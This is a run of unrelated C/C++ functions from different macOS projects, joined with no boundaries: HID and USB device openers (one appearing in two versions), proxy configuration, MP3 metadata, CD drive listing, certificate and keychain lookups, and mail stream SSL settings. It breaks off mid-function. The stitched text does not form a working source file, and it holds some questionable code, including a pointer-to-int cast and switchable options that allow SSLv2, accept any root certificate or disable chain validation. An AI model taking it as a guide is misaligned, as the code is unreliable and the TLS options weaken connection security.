// open - open 1 or more devices
//
// Inputs:
// max = maximum number of devices to open
// vid = Vendor ID, or -1 if any
// pid = Product ID, or -1 if any
// usage_page = top level usage page, or -1 if any
// usage = top level usage number, or -1 if any
// Output:
// actual number of devices opened
//
int pjrc_rawhid::open(int max, int vid, int pid, int usage_page, int usage)
{
static IOHIDManagerRef hid_manager=NULL;
CFMutableDictionaryRef dict;
CFNumberRef num;
IOReturn ret;
hid_t *p;
int count=0;
if (first_hid) free_all_hid();
//printf("pjrc_rawhid_open, max=%d\n", max);
if (max < 1) return 0;
// Start the HID Manager
// http://developer.apple.com/technotes/tn2007/tn2187.html
if (!hid_manager) {
hid_manager = IOHIDManagerCreate(kCFAllocatorDefault, kIOHIDOptionsTypeNone);
if (hid_manager == NULL || CFGetTypeID(hid_manager) != IOHIDManagerGetTypeID()) {
if (hid_manager) CFRelease(hid_manager);
return 0;
}
}
if (vid > 0 || pid > 0 || usage_page > 0 || usage > 0) {
// Tell the HID Manager what type of devices we want
dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if (!dict) return 0;
if (vid > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &vid);
CFDictionarySetValue(dict, CFSTR(kIOHIDVendorIDKey), num);
CFRelease(num);
}
if (pid > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &pid);
CFDictionarySetValue(dict, CFSTR(kIOHIDProductIDKey), num);
CFRelease(num);
}
if (usage_page > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &usage_page);
CFDictionarySetValue(dict, CFSTR(kIOHIDPrimaryUsagePageKey), num);
CFRelease(num);
}
if (usage > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &usage);
CFDictionarySetValue(dict, CFSTR(kIOHIDPrimaryUsageKey), num);
CFRelease(num);
}
IOHIDManagerSetDeviceMatching(hid_manager, dict);
CFRelease(dict);
} else {
IOHIDManagerSetDeviceMatching(hid_manager, NULL);
}
// set up a callbacks for device attach & detach
IOHIDManagerScheduleWithRunLoop(hid_manager, CFRunLoopGetCurrent(),
kCFRunLoopDefaultMode);
IOHIDManagerRegisterDeviceMatchingCallback(hid_manager, attach_callback, NULL);
IOHIDManagerRegisterDeviceRemovalCallback(hid_manager, detach_callback, NULL);
ret = IOHIDManagerOpen(hid_manager, kIOHIDOptionsTypeNone);
if (ret != kIOReturnSuccess) {
printf("Could not start IOHIDManager");
IOHIDManagerUnscheduleFromRunLoop(hid_manager,
CFRunLoopGetCurrent(), kCFRunLoopDefaultMode);
CFRelease(hid_manager);
return 0;
}
printf("run loop\n");
// let it do the callback for all devices
while (CFRunLoopRunInMode(kCFRunLoopDefaultMode, 0, true) == kCFRunLoopRunHandledSource) ;
// count up how many were added by the callback
for (p = first_hid; p; p = p->next) count++;
return count;
}
static void
add_supplemental(CFMutableArrayRef proxies, CFDictionaryRef proxy, uint32_t defaultOrder)
{
CFArrayRef domains;
CFIndex i;
CFIndex n_domains;
CFArrayRef orders;
domains = CFDictionaryGetValue(proxy, kSCPropNetProxiesSupplementalMatchDomains);
n_domains = isA_CFArray(domains) ? CFArrayGetCount(domains) : 0;
if (n_domains == 0) {
return;
}
orders = CFDictionaryGetValue(proxy, kSCPropNetProxiesSupplementalMatchOrders);
if (orders != NULL) {
if (!isA_CFArray(orders) || (n_domains != CFArrayGetCount(orders))) {
return;
}
}
/*
* yes, this is a "supplemental" proxy configuration, expand
* the match domains and add each to the proxies list.
*/
for (i = 0; i < n_domains; i++) {
CFStringRef match_domain;
CFNumberRef match_order;
CFMutableDictionaryRef match_proxy;
match_domain = CFArrayGetValueAtIndex(domains, i);
if (!isA_CFString(match_domain)) {
continue;
}
match_proxy = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
// set supplemental proxy match "domain"
match_domain = _SC_trimDomain(match_domain);
if (match_domain != NULL) {
CFDictionarySetValue(match_proxy, kSCPropNetProxiesSupplementalMatchDomain, match_domain);
CFRelease(match_domain);
} else {
CFDictionaryRemoveValue(match_proxy, kSCPropNetProxiesSupplementalMatchDomain);
}
// set supplemental proxy match "order"
match_order = (orders != NULL) ? CFArrayGetValueAtIndex(orders, i) : NULL;
if (isA_CFNumber(match_order)) {
CFDictionarySetValue(match_proxy, PROXY_MATCH_ORDER_KEY, match_order);
} else {
CFNumberRef num;
num = CFNumberCreate(NULL, kCFNumberIntType, &defaultOrder);
CFDictionarySetValue(match_proxy, PROXY_MATCH_ORDER_KEY, num);
CFRelease(num);
defaultOrder++; // if multiple domains, maintain ordering
}
// remove keys we don't want in a supplemental proxy
CFDictionaryRemoveValue(match_proxy, kSCPropNetProxiesSupplementalMatchDomains);
CFDictionaryRemoveValue(match_proxy, kSCPropNetProxiesSupplementalMatchOrders);
CFDictionaryRemoveValue(match_proxy, kSCPropInterfaceName);
add_proxy(proxies, match_proxy);
CFRelease(match_proxy);
}
return;
}
static void __addKeysAndValues(const void *key, const void *value, void *context) {
CFDictionarySetValue((CFMutableDictionaryRef)context, key, value);
}
static void
add_supplemental_proxies(CFMutableArrayRef proxies, CFDictionaryRef services, CFArrayRef service_order)
{
const void * keys_q[N_QUICK];
const void ** keys = keys_q;
CFIndex i;
CFIndex n_order;
CFIndex n_services;
const void * vals_q[N_QUICK];
const void ** vals = vals_q;
n_services = isA_CFDictionary(services) ? CFDictionaryGetCount(services) : 0;
if (n_services == 0) {
return; // if no services
}
if (n_services > (CFIndex)(sizeof(keys_q) / sizeof(CFTypeRef))) {
keys = CFAllocatorAllocate(NULL, n_services * sizeof(CFTypeRef), 0);
vals = CFAllocatorAllocate(NULL, n_services * sizeof(CFTypeRef), 0);
}
n_order = isA_CFArray(service_order) ? CFArrayGetCount(service_order) : 0;
CFDictionaryGetKeysAndValues(services, keys, vals);
for (i = 0; i < n_services; i++) {
uint32_t defaultOrder;
CFDictionaryRef proxy;
CFMutableDictionaryRef proxyWithDNS = NULL;
CFDictionaryRef service = (CFDictionaryRef)vals[i];
if (!isA_CFDictionary(service)) {
continue;
}
proxy = CFDictionaryGetValue(service, kSCEntNetProxies);
if (!isA_CFDictionary(proxy)) {
continue;
}
if ((G_supplemental_proxies_follow_dns != NULL) && CFBooleanGetValue(G_supplemental_proxies_follow_dns)) {
CFDictionaryRef dns;
CFArrayRef matchDomains;
CFArrayRef matchOrders;
if (!CFDictionaryContainsKey(proxy, kSCPropNetProxiesSupplementalMatchDomains) &&
CFDictionaryGetValueIfPresent(service, kSCEntNetDNS, (const void **)&dns) &&
isA_CFDictionary(dns) &&
CFDictionaryGetValueIfPresent(dns, kSCPropNetDNSSupplementalMatchDomains, (const void **)&matchDomains) &&
isA_CFArray(matchDomains)) {
proxyWithDNS = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
CFDictionarySetValue(proxyWithDNS, kSCPropNetProxiesSupplementalMatchDomains, matchDomains);
if (CFDictionaryGetValueIfPresent(dns, kSCPropNetDNSSupplementalMatchOrders, (const void **)&matchOrders) &&
isA_CFArray(matchOrders)) {
CFDictionarySetValue(proxyWithDNS, kSCPropNetProxiesSupplementalMatchOrders, matchOrders);
} else {
CFDictionaryRemoveValue(proxyWithDNS, kSCPropNetProxiesSupplementalMatchOrders);
}
proxy = proxyWithDNS;
}
}
defaultOrder = DEFAULT_MATCH_ORDER
- (DEFAULT_MATCH_ORDER / 2)
+ ((DEFAULT_MATCH_ORDER / 1000) * i);
if ((n_order > 0) &&
!CFArrayContainsValue(service_order, CFRangeMake(0, n_order), keys[i])) {
// push out services not specified in service order
defaultOrder += (DEFAULT_MATCH_ORDER / 1000) * n_services;
}
add_supplemental(proxies, proxy, defaultOrder);
if (proxyWithDNS != NULL) CFRelease(proxyWithDNS);
}
if (keys != keys_q) {
CFAllocatorDeallocate(NULL, keys);
CFAllocatorDeallocate(NULL, vals);
}
return;
}
static CFDictionaryRef
copy_scoped_proxies(CFDictionaryRef services, CFArrayRef order)
{
CFIndex i;
CFIndex n_order;
CFMutableDictionaryRef scoped = NULL;
// iterate over services
n_order = isA_CFArray(order) ? CFArrayGetCount(order) : 0;
for (i = 0; i < n_order; i++) {
char if_name[IF_NAMESIZE];
CFStringRef interface;
CFMutableDictionaryRef newProxy;
CFDictionaryRef proxy;
CFDictionaryRef service;
CFStringRef serviceID;
serviceID = CFArrayGetValueAtIndex(order, i);
service = CFDictionaryGetValue(services, serviceID);
if (!isA_CFDictionary(service)) {
// if no service
continue;
}
proxy = CFDictionaryGetValue(service, kSCEntNetProxies);
if (!isA_CFDictionary(proxy)) {
// if no proxy
continue;
}
interface = CFDictionaryGetValue(proxy, kSCPropInterfaceName);
if (interface == NULL) {
// if no [scoped] interface
continue;
}
if ((scoped != NULL) &&
CFDictionaryContainsKey(scoped, interface)) {
// if we've already processed this [scoped] interface
continue;
}
if ((_SC_cfstring_to_cstring(interface,
if_name,
sizeof(if_name),
kCFStringEncodingASCII) == NULL) ||
((if_nametoindex(if_name)) == 0)) {
// if interface index not available
continue;
}
// add [scoped] proxy entry
// ... and remove keys we don't want in a [scoped] proxy
CFRetain(interface);
newProxy = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
CFDictionaryRemoveValue(newProxy, kSCPropNetProxiesSupplementalMatchDomains);
CFDictionaryRemoveValue(newProxy, kSCPropNetProxiesSupplementalMatchOrders);
CFDictionaryRemoveValue(newProxy, kSCPropInterfaceName);
if (scoped == NULL) {
scoped = CFDictionaryCreateMutable(NULL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
}
CFDictionarySetValue(scoped, interface, newProxy);
CFRelease(newProxy);
CFRelease(interface);
}
return scoped;
}
bool SFB::Audio::MP3Metadata::_ReadMetadata(CFErrorRef *error)
{
UInt8 buf [PATH_MAX];
if(!CFURLGetFileSystemRepresentation(mURL, false, buf, PATH_MAX))
return false;
std::unique_ptr<TagLib::FileStream> stream(new TagLib::FileStream((const char *)buf, true));
if(!stream->isOpen()) {
if(error) {
SFB::CFString description(CFCopyLocalizedString(CFSTR("The file “%@” could not be opened for reading."), ""));
SFB::CFString failureReason(CFCopyLocalizedString(CFSTR("Input/output error"), ""));
SFB::CFString recoverySuggestion(CFCopyLocalizedString(CFSTR("The file may have been renamed, moved, deleted, or you may not have appropriate permissions."), ""));
*error = CreateErrorForURL(Metadata::ErrorDomain, Metadata::InputOutputError, description, mURL, failureReason, recoverySuggestion);
}
return false;
}
TagLib::MPEG::File file(stream.get(), TagLib::ID3v2::FrameFactory::instance());
if(!file.isValid()) {
if(nullptr != error) {
SFB::CFString description(CFCopyLocalizedString(CFSTR("The file “%@” is not a valid MPEG file."), ""));
SFB::CFString failureReason(CFCopyLocalizedString(CFSTR("Not an MPEG file"), ""));
SFB::CFString recoverySuggestion(CFCopyLocalizedString(CFSTR("The file's extension may not match the file's type."), ""));
*error = CreateErrorForURL(Metadata::ErrorDomain, Metadata::InputOutputError, description, mURL, failureReason, recoverySuggestion);
}
return false;
}
CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MP3"));
if(file.audioProperties()) {
auto properties = file.audioProperties();
AddAudioPropertiesToDictionary(mMetadata, properties);
// TODO: Is this too much information?
#if 0
switch(properties->version()) {
case TagLib::MPEG::Header::Version1:
switch(properties->layer()) {
case 1: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-1 Layer I")); break;
case 2: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-1 Layer II")); break;
case 3: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-1 Layer III")); break;
}
break;
case TagLib::MPEG::Header::Version2:
switch(properties->layer()) {
case 1: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-2 Layer I")); break;
case 2: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-2 Layer II")); break;
case 3: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-2 Layer III")); break;
}
break;
case TagLib::MPEG::Header::Version2_5:
switch(properties->layer()) {
case 1: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-2.5 Layer I")); break;
case 2: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-2.5 Layer II")); break;
case 3: CFDictionarySetValue(mMetadata, kFormatNameKey, CFSTR("MPEG-2.5 Layer III")); break;
}
break;
}
#endif
if(properties->xingHeader() && properties->xingHeader()->totalFrames())
AddIntToDictionary(mMetadata, kTotalFramesKey, (int)properties->xingHeader()->totalFrames());
}
if(file.APETag())
AddAPETagToDictionary(mMetadata, mPictures, file.APETag());
if(file.ID3v1Tag())
AddID3v1TagToDictionary(mMetadata, file.ID3v1Tag());
if(file.ID3v2Tag())
AddID3v2TagToDictionary(mMetadata, mPictures, file.ID3v2Tag());
return true;
}
drives_s* drives_available(){
CFMutableDictionaryRef main_dict = NULL;
CFMutableDictionaryRef sec_dict = NULL;
io_iterator_t itt = IO_OBJECT_NULL;
io_name_t cls_name;
io_service_t sd = IO_OBJECT_NULL;
IOCFPlugInInterface **plg_in_intf = NULL;
SCSITaskDeviceInterface **dev_intf = NULL;
MMCDeviceInterface **mmc_intf = NULL;
SInt32 score = 0;
int count;
int ret = 1;
drive_s* d = 0;
drives_s* dd = 0;
if((main_dict = CFDictionaryCreateMutable(kCFAllocatorDefault,0,&kCFTypeDictionaryKeyCallBacks,&kCFTypeDictionaryValueCallBacks)) != NULL){
if((sec_dict = CFDictionaryCreateMutable(kCFAllocatorDefault,0,&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks)) != NULL){
CFDictionarySetValue(sec_dict,CFSTR(kIOPropertySCSITaskDeviceCategory),CFSTR(kIOPropertySCSITaskAuthoringDevice));
CFDictionarySetValue(main_dict,CFSTR(kIOPropertyMatchKey),sec_dict);
CFRelease(sec_dict);
}
}
if(IOServiceGetMatchingServices(kIOMasterPortDefault,main_dict,&itt)){
printf("no matching services\n");
return 0;
}
count = 0;
while((sd = IOIteratorNext(itt))) {
if(!IOObjectGetClass(sd,cls_name)){
if(!IOCreatePlugInInterfaceForService(sd,kIOMMCDeviceUserClientTypeID,kIOCFPlugInInterfaceID,&plg_in_intf,&score) &&
!(*plg_in_intf)->QueryInterface(plg_in_intf,CFUUIDGetUUIDBytes(kIOMMCDeviceInterfaceID),(LPVOID*)&mmc_intf))
{
dev_intf = (*mmc_intf)->GetSCSITaskDeviceInterface(mmc_intf);
if(dev_intf){
drive_data_s dd;
dd.mmc_intf = mmc_intf;
dd.plg_in_intf = plg_in_intf;
dd.itt = itt;
dd.dev_intf = dev_intf;
if(drive_type((int)&dd) == T_CDROM){
inquiry_s* inq;
count++;
d = (drive_s*)realloc(d,count*sizeof(drive_s));
inq = drive_inquiry((int)&dd);
memcpy(&d[count-1].name,inq->p_id,sizeof(inq->p_id));
d[count-1].id = count;
free(inq);
}
}
}
if(IOObjectRelease(sd)) ret = 0;
}
if(mmc_intf != NULL)(*mmc_intf)->Release(mmc_intf);
if(plg_in_intf != NULL)IODestroyPlugInInterface(plg_in_intf);
}
IOObjectRelease(itt);
dd = (drives_s*)malloc(sizeof(drives_s));
if(dd){
dd->drives = d;
dd->number = count;
}else{
free(d);
return 0;
}
if(ret)
return dd;
else return 0;
}
static value cert_load_defaults(){
#if defined(NEKO_WINDOWS)
value v;
HCERTSTORE store;
PCCERT_CONTEXT cert;
mbedtls_x509_crt *chain = (mbedtls_x509_crt *)alloc(sizeof(mbedtls_x509_crt));
mbedtls_x509_crt_init( chain );
if( store = CertOpenSystemStore(0, (LPCSTR)"Root") ){
cert = NULL;
while( cert = CertEnumCertificatesInStore(store, cert) )
mbedtls_x509_crt_parse_der( chain, (unsigned char *)cert->pbCertEncoded, cert->cbCertEncoded );
CertCloseStore(store, 0);
}
v = alloc_abstract(k_cert, chain);
val_gc(v,free_cert);
return v;
#elif defined(NEKO_MAC)
CFMutableDictionaryRef search;
CFArrayRef result;
SecKeychainRef keychain;
SecCertificateRef item;
CFDataRef dat;
value v;
mbedtls_x509_crt *chain = NULL;
// Load keychain
if( SecKeychainOpen("/System/Library/Keychains/SystemRootCertificates.keychain",&keychain) != errSecSuccess )
return val_null;
// Search for certificates
search = CFDictionaryCreateMutable( NULL, 0, NULL, NULL );
CFDictionarySetValue( search, kSecClass, kSecClassCertificate );
CFDictionarySetValue( search, kSecMatchLimit, kSecMatchLimitAll );
CFDictionarySetValue( search, kSecReturnRef, kCFBooleanTrue );
CFDictionarySetValue( search, kSecMatchSearchList, CFArrayCreate(NULL, (const void **)&keychain, 1, NULL) );
if( SecItemCopyMatching( search, (CFTypeRef *)&result ) == errSecSuccess ){
CFIndex n = CFArrayGetCount( result );
for( CFIndex i = 0; i < n; i++ ){
item = (SecCertificateRef)CFArrayGetValueAtIndex( result, i );
// Get certificate in DER format
dat = SecCertificateCopyData( item );
if( dat ){
if( chain == NULL ){
chain = (mbedtls_x509_crt *)alloc(sizeof(mbedtls_x509_crt));
mbedtls_x509_crt_init( chain );
}
mbedtls_x509_crt_parse_der( chain, (unsigned char *)CFDataGetBytePtr(dat), CFDataGetLength(dat) );
CFRelease( dat );
}
}
}
CFRelease(keychain);
if( chain != NULL ){
v = alloc_abstract(k_cert, chain);
val_gc(v,free_cert);
return v;
}else{
return val_null;
}
#else
return val_null;
#endif
}
static CFArrayRef /* O - Array of certificates */
copy_cdsa_certificate(
cupsd_client_t *con) /* I - Client connection */
{
OSStatus err; /* Error info */
SecKeychainRef keychain = NULL;/* Keychain reference */
SecIdentitySearchRef search = NULL; /* Search reference */
SecIdentityRef identity = NULL;/* Identity */
CFArrayRef certificates = NULL;
/* Certificate array */
SecPolicyRef policy = NULL; /* Policy ref */
CFStringRef servername = NULL;
/* Server name */
CFMutableDictionaryRef query = NULL; /* Query qualifiers */
CFArrayRef list = NULL; /* Keychain list */
# if defined(HAVE_DNSSD) || defined(HAVE_AVAHI)
char localname[1024];/* Local hostname */
# endif /* HAVE_DNSSD || HAVE_AVAHI */
cupsdLogMessage(CUPSD_LOG_DEBUG,
"copy_cdsa_certificate: Looking for certs for \"%s\".",
con->servername);
if ((err = SecKeychainOpen(ServerCertificate, &keychain)))
{
cupsdLogMessage(CUPSD_LOG_ERROR, "Cannot open keychain \"%s\" - %s (%d)",
ServerCertificate, cssmErrorString(err), (int)err);
goto cleanup;
}
servername = CFStringCreateWithCString(kCFAllocatorDefault, con->servername,
kCFStringEncodingUTF8);
policy = SecPolicyCreateSSL(1, servername);
if (servername)
CFRelease(servername);
if (!policy)
{
cupsdLogMessage(CUPSD_LOG_ERROR, "Cannot create ssl policy reference");
goto cleanup;
}
if (!(query = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks)))
{
cupsdLogMessage(CUPSD_LOG_ERROR, "Cannot create query dictionary");
goto cleanup;
}
list = CFArrayCreate(kCFAllocatorDefault, (const void **)&keychain, 1,
&kCFTypeArrayCallBacks);
CFDictionaryAddValue(query, kSecClass, kSecClassIdentity);
CFDictionaryAddValue(query, kSecMatchPolicy, policy);
CFDictionaryAddValue(query, kSecReturnRef, kCFBooleanTrue);
CFDictionaryAddValue(query, kSecMatchLimit, kSecMatchLimitOne);
CFDictionaryAddValue(query, kSecMatchSearchList, list);
CFRelease(list);
err = SecItemCopyMatching(query, (CFTypeRef *)&identity);
# if defined(HAVE_DNSSD) || defined(HAVE_AVAHI)
if (err && DNSSDHostName)
{
/*
* Search for the connection server name failed; try the DNS-SD .local
* hostname instead...
*/
snprintf(localname, sizeof(localname), "%s.local", DNSSDHostName);
cupsdLogMessage(CUPSD_LOG_DEBUG,
"copy_cdsa_certificate: Looking for certs for \"%s\".",
localname);
servername = CFStringCreateWithCString(kCFAllocatorDefault, localname,
kCFStringEncodingUTF8);
CFRelease(policy);
policy = SecPolicyCreateSSL(1, servername);
if (servername)
CFRelease(servername);
if (!policy)
{
cupsdLogMessage(CUPSD_LOG_ERROR, "Cannot create ssl policy reference");
goto cleanup;
}
CFDictionarySetValue(query, kSecMatchPolicy, policy);
err = SecItemCopyMatching(query, (CFTypeRef *)&identity);
}
# endif /* HAVE_DNSSD || HAVE_AVAHI */
if (err)
{
cupsdLogMessage(CUPSD_LOG_DEBUG,
"Cannot find signing key in keychain \"%s\": %s (%d)",
ServerCertificate, cssmErrorString(err), (int)err);
goto cleanup;
}
if (CFGetTypeID(identity) != SecIdentityGetTypeID())
{
cupsdLogMessage(CUPSD_LOG_ERROR, "SecIdentity CFTypeID failure.");
goto cleanup;
}
if ((certificates = CFArrayCreate(NULL, (const void **)&identity,
1, &kCFTypeArrayCallBacks)) == NULL)
{
cupsdLogMessage(CUPSD_LOG_ERROR, "Cannot create certificate array");
goto cleanup;
}
cleanup :
if (keychain)
CFRelease(keychain);
if (search)
CFRelease(search);
if (identity)
CFRelease(identity);
if (policy)
CFRelease(policy);
if (query)
CFRelease(query);
return (certificates);
}
/**
* @brief open - open 1 or more devices
* @param[in] max maximum number of devices to open
* @param[in] vid Vendor ID, or -1 if any
* @param[in] pid Product ID, or -1 if any
* @param[in] usage_page top level usage page, or -1 if any
* @param[in] usage top level usage number, or -1 if any
* @returns actual number of devices opened
*/
int pjrc_rawhid::open(int max, int vid, int pid, int usage_page, int usage)
{
CFMutableDictionaryRef dict;
CFNumberRef num;
IOReturn ret;
Q_ASSERT(hid_manager == NULL);
Q_ASSERT(device_open == false);
attach_count = 0;
// Start the HID Manager
hid_manager = IOHIDManagerCreate(kCFAllocatorDefault, kIOHIDOptionsTypeNone);
if (hid_manager == NULL || CFGetTypeID(hid_manager) != IOHIDManagerGetTypeID()) {
if (hid_manager) CFRelease(hid_manager);
return 0;
}
if (vid > 0 || pid > 0 || usage_page > 0 || usage > 0) {
// Tell the HID Manager what type of devices we want
dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if (!dict) return 0;
if (vid > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &vid);
CFDictionarySetValue(dict, CFSTR(kIOHIDVendorIDKey), num);
CFRelease(num);
}
if (pid > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &pid);
CFDictionarySetValue(dict, CFSTR(kIOHIDProductIDKey), num);
CFRelease(num);
}
if (usage_page > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &usage_page);
CFDictionarySetValue(dict, CFSTR(kIOHIDPrimaryUsagePageKey), num);
CFRelease(num);
}
if (usage > 0) {
num = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &usage);
CFDictionarySetValue(dict, CFSTR(kIOHIDPrimaryUsageKey), num);
CFRelease(num);
}
IOHIDManagerSetDeviceMatching(hid_manager, dict);
CFRelease(dict);
} else {
IOHIDManagerSetDeviceMatching(hid_manager, NULL);
}
// Set the run loop reference before configuring the attach callback
the_correct_runloop = CFRunLoopGetCurrent();
// set up a callbacks for device attach & detach
IOHIDManagerScheduleWithRunLoop(hid_manager, CFRunLoopGetCurrent(),
kCFRunLoopDefaultMode);
IOHIDManagerRegisterDeviceMatchingCallback(hid_manager, pjrc_rawhid::attach_callback, this);
IOHIDManagerRegisterDeviceRemovalCallback(hid_manager, pjrc_rawhid::dettach_callback, this);
ret = IOHIDManagerOpen(hid_manager, kIOHIDOptionsTypeNone);
if (ret != kIOReturnSuccess) {
IOHIDManagerUnscheduleFromRunLoop(hid_manager,
CFRunLoopGetCurrent(), kCFRunLoopDefaultMode);
CFRelease(hid_manager);
return 0;
}
// let it do the callback for all devices
while (CFRunLoopRunInMode(kCFRunLoopDefaultMode, 0, true) == kCFRunLoopRunHandledSource) ;
// count up how many were added by the callback
return attach_count;
}
brick_t *find_usb_devices (
void *usb,
int32_t vendor, int32_t product,
int32_t configuration, int32_t interface,
brick_type_t type) {
usb_handle_t *h = (usb_handle_t *) usb;
CFMutableDictionaryRef matching;
kern_return_t kr;
io_iterator_t devices;
io_service_t device;
brick_t *bricks = NULL;
int count;
if (configuration) {
matching = IOServiceMatching (kIOUSBInterfaceClassName);
} else {
matching = IOServiceMatching (kIOUSBDeviceClassName);
}
if (!matching) {
return NULL;
}
CFDictionarySetValue (matching, CFSTR (kUSBVendorID),
CFNumberCreate (kCFAllocatorDefault,
kCFNumberSInt32Type, &vendor));
CFDictionarySetValue (matching, CFSTR (kUSBProductID),
CFNumberCreate (kCFAllocatorDefault,
kCFNumberSInt32Type, &product));
if (configuration) {
CFDictionarySetValue (matching, CFSTR (kUSBConfigurationValue),
CFNumberCreate (kCFAllocatorDefault,
kCFNumberSInt32Type, &configuration));
CFDictionarySetValue (matching, CFSTR (kUSBInterfaceNumber),
CFNumberCreate (kCFAllocatorDefault,
kCFNumberSInt32Type, &interface));
}
kr = IOServiceGetMatchingServices (h->port, matching, &devices);
if (kr) {
fprintf (stderr, "IOService matching error = %08x\n", kr);
return NULL;
}
count = 0;
while ((device = IOIteratorNext (devices)))
count++;
if (count > 0) {
int i = 0;
IOIteratorReset (devices);
bricks = malloc ((sizeof (brick_t)) * (count + 1));
memset ((void *) bricks, 0, (sizeof (brick_t )) * (count + 1));
while ((device = IOIteratorNext (devices))) {
IOUSBInterfaceInterface182 **intf = NULL;
IOUSBDeviceInterface **dev = NULL;
IOCFPlugInInterface **plugInInterface = NULL;
brick_t *b = &(bricks[i]);
HRESULT result;
SInt32 score;
if (configuration) {
kr = IOCreatePlugInInterfaceForService (
device, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID,
&plugInInterface, &score
);
} else {
kr = IOCreatePlugInInterfaceForService (
device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID,
&plugInInterface, &score
);
}
if (kr || !plugInInterface) {
continue;
}
if (configuration) {
result = (*plugInInterface)->QueryInterface (
plugInInterface,
CFUUIDGetUUIDBytes (kIOUSBInterfaceInterfaceID182),
(LPVOID *) &intf
);
} else {
result = (*plugInInterface)->QueryInterface (
plugInInterface,
CFUUIDGetUUIDBytes (kIOUSBDeviceInterfaceID),
(LPVOID *) &dev
);
}
(*plugInInterface)->Release (plugInInterface);
if (result || !(dev || intf)) {
continue;
}
b->type = type;
if (configuration) {
b->handle = intf;
b->open = open_intf;
b->close = close_intf;
b->control = control_msg;
b->read = read_intf;
b->write = write_intf;
b->release = release_intf;
(*intf)->GetLocationID (intf, &(b->id));
} else {
b->handle = dev;
b->get_config = get_dev_config;
b->set_config = set_dev_config;
b->release = release_dev;
(*dev)->GetLocationID (dev, &(b->id));
}
i = i + 1;
}
bricks[i].type = NULL_BRICK;
}
return bricks;
}
int mailstream_cfstream_set_ssl_enabled(mailstream * s, int ssl_enabled)
{
#if HAVE_CFNETWORK
struct mailstream_cfstream_data * cfstream_data;
int r;
cfstream_data = (struct mailstream_cfstream_data *) s->low->data;
cfstream_data->ssl_enabled = ssl_enabled;
if (ssl_enabled) {
CFMutableDictionaryRef settings;
settings = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
switch (cfstream_data->ssl_level) {
case MAILSTREAM_CFSTREAM_SSL_LEVEL_NONE:
CFDictionarySetValue(settings, kCFStreamSSLLevel, kCFStreamSocketSecurityLevelNone);
break;
case MAILSTREAM_CFSTREAM_SSL_LEVEL_SSLv2:
CFDictionarySetValue(settings, kCFStreamSSLLevel, kCFStreamSocketSecurityLevelSSLv2);
break;
case MAILSTREAM_CFSTREAM_SSL_LEVEL_SSLv3:
CFDictionarySetValue(settings, kCFStreamSSLLevel, kCFStreamSocketSecurityLevelSSLv3);
break;
case MAILSTREAM_CFSTREAM_SSL_LEVEL_TLSv1:
CFDictionarySetValue(settings, kCFStreamSSLLevel, kCFStreamSocketSecurityLevelTLSv1);
break;
case MAILSTREAM_CFSTREAM_SSL_LEVEL_NEGOCIATED_SSL:
CFDictionarySetValue(settings, kCFStreamSSLLevel, kCFStreamSocketSecurityLevelNegotiatedSSL);
break;
}
if ((cfstream_data->ssl_certificate_verification_mask & MAILSTREAM_CFSTREAM_SSL_ALLOWS_EXPIRED_CERTIFICATES) != 0) {
CFDictionarySetValue(settings, kCFStreamSSLAllowsExpiredCertificates, kCFBooleanTrue);
}
if ((cfstream_data->ssl_certificate_verification_mask & MAILSTREAM_CFSTREAM_SSL_ALLOWS_EXPIRED_ROOTS) != 0) {
CFDictionarySetValue(settings, kCFStreamSSLAllowsExpiredRoots, kCFBooleanTrue);
}
if ((cfstream_data->ssl_certificate_verification_mask & MAILSTREAM_CFSTREAM_SSL_ALLOWS_ANY_ROOT) != 0) {
CFDictionarySetValue(settings, kCFStreamSSLAllowsAnyRoot, kCFBooleanTrue);
}
if ((cfstream_data->ssl_certificate_verification_mask & MAILSTREAM_CFSTREAM_SSL_DISABLE_VALIDATES_CERTIFICATE_CHAIN) != 0) {
CFDictionarySetValue(settings, kCFStreamSSLValidatesCertificateChain, kCFBooleanFalse);
}
CFReadStreamSetProperty(cfstream_data->readStream, kCFStreamPropertySSLSettings, settings);
CFWriteStreamSetProperty(cfstream_data->writeStream, kCFStreamPropertySSLSettings, settings);
CFRelease(settings);
}
else {
CFMutableDictionaryRef settings;
settings = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(settings, kCFStreamSSLLevel, kCFStreamSocketSecurityLevelNone);
CFReadStreamSetProperty(cfstream_data->readStream, kCFStreamPropertySSLSettings, settings);
